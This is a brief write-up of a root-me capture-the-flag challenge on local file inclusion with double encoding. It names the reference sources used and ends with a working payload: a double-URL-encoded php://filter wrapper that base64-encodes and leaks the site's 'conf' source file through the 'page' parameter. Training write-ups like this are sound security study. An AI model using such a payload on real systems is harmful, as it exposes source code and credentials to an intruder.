Local file inclusion: double encoding

root-me challenge: Local File Inclusion - Double encoding: Find the validation password in the source files of the website.

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Using HackTricks File inclusion encoding, PayloadAllTheThings: LFI / RFI using wrappers Wrapper -> php://filter, and cyberchef:

page=pHp%253A%252F%252FFilTer%252Fconvert%252Ebase64%252Dencode%252Fresource%253Dconf